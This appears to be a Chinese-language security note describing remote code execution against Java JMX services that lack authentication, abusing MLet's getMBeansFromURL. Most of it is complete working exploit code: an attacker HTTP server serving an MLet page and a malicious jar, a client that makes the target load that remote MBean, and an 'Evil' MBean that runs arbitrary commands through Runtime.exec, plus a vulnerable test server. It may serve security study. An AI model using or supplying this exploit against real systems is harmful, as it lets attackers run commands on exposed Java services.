攻击者通过构造恶意的MBean,调用 getMBeansFromURL 从远程服务器获取 MBean,通过MLet标签提供恶意的MBean对象下载。
前提条件:
允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)
能够远程注册 MBean (javax.management.loading.MLet)
常见端口1099进行攻击,攻击过程参考第二篇链接地址。
攻击端:
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;
/**
* Created by k1n9 on 2017/8/23.
*/
public class RemoteMbean {
private static String JARNAME = "compromise.jar";
private static String OBJECTNAME = "MLetCompromise1:name=evil,id=12";
private static String EVILCLASS = "Evil";
public static void main(String[] args) {
try {
//开启Http服务,提供带mlet标签的html和恶意MBean的jar包
HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
server.createContext("/mlet", new MLetHandler());
server.createContext("/" + JARNAME, new JarHandler());
server.setExecutor(null);
server.start();
//这里可以改成args的参数就可以在命令行下使用了,JMX的ip,端口,要执行的命令
connectAndOwn("192.168.20.112", "8888", "whoami");
server.stop(0);
} catch (IOException e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) {
try {
//建立连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u, null);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
ObjectInstance evil_bean = null;
try {
evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
} catch (Exception e) {
evil_bean = null;
}
if (evil_bean == null) {
System.out.println("Trying to create bean...");
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Loaded " + evil.getClassName());
//调用 getMBeansFromURL 从远程服务器获取 MBean
/*
加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。
文本文件的位置由 URL 指定。
使用 UTF-8 编码来读取文本文件。
MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。
*/
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
new String[] {String.class.getName()}
);
HashSet res_set = (HashSet)res;
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
} catch (Exception e) {
e.printStackTrace();
}
}
static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
/**
* mlet 标签
*
* CODE = class | OBJECT = serfile
* ARCHIVE = "archiveList"
* [CODEBASE = codebaseURL]
* [NAME = mbeanname]
* [VERSION = version]
* >
* [arglist]
*
*/
String respone = String.format(" ", EVILCLASS, JARNAME, OBJECTNAME);
System.out.println("Sending mlet: " + respone + "\n");
t.sendResponseHeaders(200, respone.length());
OutputStream os = t.getResponseBody();
os.write(respone.getBytes());
os.close();
}
}
static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("Request made for JAR...");
//这里的 compromise.jar 可以根据实际的路径来修改
File file = new File("E:\\Struts2-Vulenv-master\\JndiExploit\\src\\compromise.jar");
byte[] bytearray = new byte[(int)file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0 , bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}
}
EvilMBean.java
public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil implements EvilMBean {
@Override
public String runCommand(String cmd) {
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null) {
stdout_err_data += s + "\n";
}
while ((s = stdError.readLine()) != null) {
stdout_err_data += s + "\n";
}
proc.waitFor();
return stdout_err_data;
} catch (Exception e) {
return e.toString();
}
}
}
服务器:
import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HelloAgentRemote {
public static void main(String[] args) throws Exception {
//创建MBeanServer
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
// ObjectName helloName = new ObjectName("jmxBean:name=Evil");
//注册MBean,client通过helloName来获取new Evil()对象
// mbs.registerMBean(new Evil(), helloName);
try {
//这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer
LocateRegistry.createRegistry(8888);
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:8888/jmxrmi");
JMXConnectorServer cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
System.out.println("....................begin rmi start.....");
cs.start();
System.out.println("....................rmi start.....");
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
https://paper.tuisec.win/detail/28e1afa65b4ce86
https://www.secpulse.com/archives/6203.html